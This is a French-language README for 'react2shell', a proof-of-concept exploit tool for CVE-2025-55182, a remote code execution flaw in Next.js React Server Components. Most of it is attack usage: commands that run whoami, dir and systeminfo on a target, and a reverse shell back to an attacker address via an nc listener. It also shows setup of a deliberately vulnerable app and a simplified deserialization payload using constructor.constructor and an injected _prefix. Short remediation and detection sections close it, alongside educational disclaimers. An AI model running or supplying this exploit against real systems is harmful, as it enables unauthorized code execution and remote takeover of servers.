
Un framework complet pour exploiter la vulnérabilité CVE-2025-55182
Une preuve de concept d'exploitation pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans les applications Next.js utilisant les React Server Components.
CET OUTIL EST UNIQUEMENT DESTINÉ À UN USAGE ÉDUCATIF ET À DES TESTS DE SÉCURITÉ AUTORISÉS.
# Clonez ou téléchargez ce dépôt
git clone https://github.com/zr0n/react2shell
cd react2shell
# Installez les dépendances
npm install form-data
node react2shell.js <url_cible> <type_charge> [options]
node react2shell.js http://localhost:3000 basic
# Vérifiez la console du serveur pour la sortie : EXPLOITED: 50
# Obtenir l'utilisateur courant
node react2shell.js http://localhost:3000 whoami
# Lister les fichiers
node react2shell.js http://localhost:3000 dir
# Informations système
node react2shell.js http://localhost:3000 systeminfo
# Lancer la calculatrice
node react2shell.js http://localhost:3000 calc
# Lancer le Bloc-notes
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Vérifiez le répertoire du serveur pour EXPLOITED.txt
# Terminal 1 : Démarrer l'écouteur
nc -lvnp 4444
# Terminal 2 : Exécuter l'exploit
node react2shell.js http://localhost:3000 shell <VOTRE_IP> 4444
# Fonctionne à la fois sur Windows (PowerShell) et Linux (Bash)
# Créer le répertoire du projet
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Initialiser Next.js avec une version vulnérable
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Rétrograder vers une version vulnérable
npm install [email protected]
# Installer les dépendances
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Application Next.js vulnérable</h1>
<p className="mt-4">Cette application est vulnérable à CVE-2025-55182</p>
</div>
);
}
npm run dev
# Le serveur tourne sur http://localhost:3000
L'exploit exploite une vulnérabilité de désérialisation dans les React Server Components :
constructor.constructor pour accéder au constructeur de fonction_prefix# Chaîne de vulnérabilité simplifiée
{
_formData: {
get: '$3:constructor:constructor' # Accès au constructeur de fonction
},
_prefix: 'VOTRE_CODE_ICI//' # Code injecté
}
Mettre à jour immédiatement :
npm update next@latest
npm update react@latest react-dom@latest
Vérifier les versions corrigées :
npm list next react
Versions requises :
next-actionRecherchez les requêtes POST avec :
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / avec en-tête next-action
Clés FormData suspectes : 0, 1, 2, 3, 4
Réponse : 200 (exploitation réussie) ou 500 (échec)
Cet outil est éducatif. Les contributions qui améliorent :
sont les bienvenues. NE soumettez PAS de contributions qui améliorent les capacités d'attaque.
Usage éducatif uniquement - Aucune garantie fournie
Luiz Fernando Ziron Créé à des fins d'éducation et de sensibilisation à la cybersécurité.
En utilisant cet outil, vous acceptez :
L'accès non autorisé à des systèmes informatiques est un crime dans la plupart des juridictions.
Restez prudent, restez éthique, restez légal. 🔒
| Charge utile | Description | Exemple |
|---|
basic | Preuve de concept mathématique (7*7+1=50) | node react2shell.js http://cible:3000 basic |
whoami | Afficher l'utilisateur système actuel | node react2shell.js http://cible:3000 whoami |
dir | Lister le contenu du répertoire courant | node react2shell.js http://cible:3000 dir |
systeminfo | Afficher les informations du système d'exploitation | node react2shell.js http://cible:3000 systeminfo |
file | Créer un fichier de preuve EXPLOITED.txt | node react2shell.js http://cible:3000 file |
calc | Lancer la calculatrice (preuve visuelle Windows) | node react2shell.js http://cible:3000 calc |
notepad | Lancer le Bloc-notes (preuve visuelle Windows) | node react2shell.js http://cible:3000 notepad |
shell | Shell inverse (détection automatique Windows/Linux) | node react2shell.js http://cible:3000 shell 10.10.10.5 4444 |